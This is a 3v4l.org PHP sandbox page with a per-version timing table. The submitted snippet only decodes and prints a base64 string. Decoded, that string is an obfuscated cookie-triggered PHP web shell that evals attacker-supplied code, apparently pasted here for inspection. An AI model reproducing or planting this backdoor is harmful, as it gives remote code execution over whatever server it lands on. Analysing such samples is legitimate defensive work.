3v4l.org

run code in 300+ PHP versions simultaneously
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; echo base64_decode($var); $var = base64_encode('test'); echo $var; echo base64_decode($var);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.18
8.3.50.0100.00921.02
8.3.40.0120.00618.84
8.3.30.0100.00320.22
8.3.20.0080.00020.35
8.3.10.0080.00021.18
8.3.00.0080.00022.30
8.2.180.0150.00616.50
8.2.170.0140.00722.96
8.2.160.0070.00722.26
8.2.150.0040.00424.18
8.2.140.0030.00624.66
8.2.130.0070.00326.16
8.2.120.0040.00420.75
8.2.110.0030.00722.11
8.2.100.0070.00419.64
8.2.90.0040.00419.05
8.2.80.0040.00417.97
8.2.70.0000.00917.50
8.2.60.0030.00617.93
8.2.50.0000.00818.07
8.2.40.0030.00518.02
8.2.30.0070.00319.43
8.2.20.0050.00217.65
8.2.10.0000.00717.84
8.2.00.0040.00417.68
8.1.280.0090.00925.92
8.1.270.0050.00323.99
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0030.00624.02
8.1.230.0080.00317.42
8.1.220.0000.00817.74
8.1.210.0000.00918.77
8.1.200.0030.00617.23
8.1.190.0000.00817.39
8.1.180.0080.00018.10
8.1.170.0040.00418.59
8.1.160.0030.00518.73
8.1.150.0040.00418.53
8.1.140.0080.00017.39
8.1.130.0000.00717.81
8.1.120.0000.00717.47
8.1.110.0000.00817.24
8.1.100.0000.00717.26
8.1.90.0030.00517.40
8.1.80.0030.00517.28
8.1.70.0000.00717.30
8.1.60.0000.00817.47
8.1.50.0030.00617.37
8.1.40.0040.00417.46
8.1.30.0020.00517.52
8.1.20.0000.00917.61
8.1.10.0080.00017.52
8.1.00.0040.00417.44
8.0.300.0000.00818.77
8.0.290.0080.00016.75
8.0.280.0000.00718.48
8.0.270.0000.00717.25
8.0.260.0030.00316.79
8.0.250.0030.00316.94
8.0.240.0030.00616.96
8.0.230.0030.00316.75
8.0.220.0070.00016.82
8.0.210.0040.00416.84
8.0.200.0030.00316.85
8.0.190.0000.00716.93
8.0.180.0000.00716.87
8.0.170.0000.00716.71
8.0.160.0030.00416.68
8.0.150.0000.00716.88
8.0.140.0040.00716.76
8.0.130.0030.00313.21
8.0.120.0030.00516.78
8.0.110.0000.00716.84
8.0.100.0000.00716.69
8.0.90.0000.00716.61
8.0.80.0040.01116.84
8.0.70.0040.00416.85
8.0.60.0040.00416.70
8.0.50.0050.00216.71
8.0.30.0110.01216.80
8.0.20.0120.00917.40
8.0.10.0040.00416.75
8.0.00.0100.00816.64
7.4.330.0000.00516.78
7.4.320.0000.00616.52
7.4.300.0070.00016.57
7.4.290.0000.00716.49
7.4.280.0030.00316.42
7.4.270.0000.00716.54
7.4.260.0030.00313.23
7.4.250.0000.00816.53
7.4.240.0040.00316.29
7.4.230.0000.00716.53
7.4.220.0140.01016.59
7.4.210.0060.00916.44
7.4.200.0030.00316.62
7.4.190.0000.00616.62
7.4.160.0130.00316.48
7.4.150.0040.01417.40
7.4.140.0050.01217.86
7.4.130.0030.01416.46
7.4.120.0070.01016.54
7.4.110.0080.00816.47
7.4.100.0170.00016.49
7.4.90.0060.01016.30
7.4.80.0030.01519.39
7.4.70.0130.00316.54
7.4.60.0110.00616.41
7.4.50.0060.00316.11
7.4.40.0110.00722.77
7.4.30.0170.00616.22
7.4.00.0080.00614.72
7.3.330.0000.00512.92
7.3.320.0020.00213.03
7.3.310.0060.00016.11
7.3.300.0070.00016.27
7.3.290.0110.00416.24
7.3.280.0070.01116.19
7.3.270.0130.00317.40
7.3.260.0130.00318.24
7.3.250.0110.00816.19
7.3.240.0070.01016.42
7.3.230.0100.01016.55
7.3.210.0140.00716.29
7.3.200.0110.00819.39
7.3.190.0090.01316.48
7.3.180.0060.01016.45
7.3.170.0060.00916.38
7.3.160.0070.01416.27
7.3.120.0100.00314.63
7.2.330.0060.01116.61
7.2.320.0200.00916.55
7.2.310.0120.00916.69
7.2.300.0080.00816.38
7.2.290.0130.00716.46
7.2.60.0040.00816.69
7.2.00.0040.01219.13
7.1.200.0040.00415.70
7.1.100.0000.01118.03
7.1.70.0050.00216.87
7.1.60.0070.01719.17
7.1.50.0120.00916.98
7.1.00.0030.03322.36
7.0.200.0450.00014.57
7.0.140.0030.07722.06
7.0.60.0070.06019.86
7.0.50.0070.08317.86
7.0.40.0100.08320.24
7.0.30.0300.07320.04
7.0.20.0270.08020.12
7.0.10.0130.08320.17
7.0.00.0070.08320.09
5.6.210.0130.07320.49
5.6.200.0070.08018.12
5.6.190.0000.06020.45
5.6.180.0570.06720.67
5.6.170.0300.08720.49
5.6.160.0030.09020.34
5.6.150.0030.03718.17
5.6.140.0070.04718.09
5.6.130.0000.04318.18
5.6.120.0100.07721.01
5.6.110.0130.07021.08
5.6.100.0030.05720.95
5.6.90.0100.07021.07
5.6.80.0100.07720.50
5.5.350.3770.03320.39
5.5.340.0070.08017.96
5.5.330.0030.04320.40
5.5.320.0070.03720.51
5.5.310.0200.04320.29
5.5.300.0170.07017.98
5.5.290.0070.08017.96
5.5.280.0070.04320.68
5.5.270.0030.07720.75
5.5.260.0100.07720.87
5.5.250.0230.05720.67
5.5.240.0300.05020.15
5.4.450.0300.05319.41
5.4.440.0230.04719.55
5.4.430.0270.05319.54
5.4.420.0370.06719.41
5.4.410.0270.05319.13
5.4.400.0270.06719.10
5.4.390.0330.07018.93
5.4.380.0300.03019.03
5.4.370.0330.04019.09
5.4.360.0300.07019.09
5.4.350.0330.07319.13
5.4.340.0270.04719.09
5.4.320.0200.03719.25
5.4.310.0130.04019.13
5.4.300.0100.05319.21
5.4.290.0170.03719.13
5.4.280.0230.03319.13
5.4.270.0230.03719.24
5.4.260.0270.04019.16
5.4.250.0230.03019.08
5.4.240.0270.03018.80
5.4.230.0200.03319.05
5.4.220.0230.03318.80
5.4.210.0170.05019.08
5.4.200.0170.03719.23
5.4.190.0130.04019.08
5.4.180.0170.04018.77
5.4.170.0230.03319.04
5.4.160.0130.04019.06
5.4.150.0400.03319.07
5.4.140.0170.03316.50
5.4.130.0230.03716.20
5.4.120.0170.04016.25
5.4.110.0200.08716.35
5.4.100.0230.06316.39
5.4.90.0270.04016.39
5.4.80.0300.03316.25
5.4.70.0300.06316.37
5.4.60.0270.06016.19
5.4.50.0400.05716.43
5.4.40.0330.06716.40
5.4.30.0230.05316.45
5.4.20.0400.05716.31
5.4.10.0270.04316.48
5.4.00.0330.06315.76
5.3.290.0170.03714.75
5.3.280.0170.04014.53
5.3.270.0300.05714.45
5.3.260.0170.04014.64
5.3.250.0170.04014.45
5.3.240.0200.03714.46
5.3.230.0200.03314.54
5.3.220.0200.03714.65
5.3.210.0200.04314.59
5.3.200.0300.04014.39
5.3.190.0270.04314.40
5.3.180.0230.06714.60
5.3.170.0270.04014.43
5.3.160.0300.06014.46
5.3.150.0330.07314.36
5.3.140.0300.07314.48
5.3.130.0330.06314.39
5.3.120.0300.07714.59
5.3.110.0300.03714.37
5.3.100.0270.07014.13
5.3.90.0200.04714.04
5.3.80.0230.06013.96
5.3.70.0200.04013.84
5.3.60.0330.05313.91
5.3.50.0370.06314.01
5.3.40.0300.06313.88
5.3.30.0300.06713.95
5.3.20.0430.06013.48
5.3.10.0370.06713.59
5.3.00.0300.06713.51
5.2.170.0230.06312.24
5.2.160.0230.06012.24
5.2.150.0200.05312.24
5.2.140.0270.05712.24
5.2.130.0230.05012.24
5.2.120.0270.04712.24
5.2.110.0230.05712.24
5.2.100.0230.04312.24
5.2.90.0230.05712.24
5.2.80.0330.03712.24
5.2.70.0230.04012.24
5.2.60.0300.04012.24
5.2.50.0270.06012.24
5.2.40.0230.05312.24
5.2.30.0200.04012.24
5.2.20.0130.03312.24
5.2.10.0200.05312.24
5.2.00.0200.06012.24
5.1.60.0170.04012.24
5.1.50.0200.05012.24
5.1.40.0170.03012.24
5.1.30.0170.05712.24
5.1.20.0270.04012.24
5.1.10.0230.05312.24
5.1.00.0230.05012.24
5.0.50.0100.04712.24
5.0.40.0100.04312.24
5.0.30.0100.04712.24
5.0.20.0100.03712.24
5.0.10.0170.03012.24
5.0.00.0100.06312.24
4.4.90.0100.03312.24
4.4.80.0130.03012.24
4.4.70.0070.04012.24
4.4.60.0200.02712.24
4.4.50.0130.03312.24
4.4.40.0070.05312.24
4.4.30.0130.01312.24
4.4.20.0100.03012.24
4.4.10.0130.01712.24
4.4.00.0100.04312.24
4.3.110.0070.03312.24
4.3.100.0100.02012.24
4.3.90.0100.03312.24
4.3.80.0170.02712.24
4.3.70.0100.03012.24
4.3.60.0070.03712.24
4.3.50.0100.01312.24
4.3.40.0100.02712.24
4.3.30.0030.02012.24
4.3.20.0070.03712.24
4.3.10.0070.03712.24
4.3.00.0030.03312.24

preferences:
43.57 ms | 401 KiB | 5 Q